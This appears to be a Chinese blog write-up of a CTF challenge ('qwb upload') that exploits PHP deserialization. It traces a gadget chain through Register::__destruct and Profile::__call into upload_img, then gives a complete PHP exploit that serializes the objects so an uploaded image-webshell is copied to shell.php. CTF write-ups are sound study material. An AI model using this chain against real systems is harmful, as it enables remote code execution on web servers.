反序列化题目整理

  1. qwb upload

qwb upload

当初学的时候挺难的,现在做起来觉得挺简单了

入口 Register.php

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

调用 checker 属性的 index 方法,如果不存在,就会调用某个类的 __call 方法

正好有一个 Profile.php

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

那么就可以通过 __call 去调用其他的方法了,这里我们选择

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

checker 属性可控,ext 属性可控

进入到 @copy($this->filename_tmp, $this->filename); 即可将图片马改名

这题复盘的时候比较玄学,挺难成功的

调试过程

之后即可修改文件名

exp

<?php
namespace app\web\controller;
use think\Controller;

class Register
{
    public $checker;
    public $registed = false;
    public function __construct($checker){
        $this->checker = $checker;
    }
}

class Profile
{   # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
    public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
    public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
    public $ext = true;
    public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论

文章标题:反序列化题目整理

文章字数:396

本文作者:prontosil

发布时间:2020-04-01, 18:34:33

最后更新:2020-04-05, 07:52:44

原始链接:http://prontosil.com/posts/4e7aaa07/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录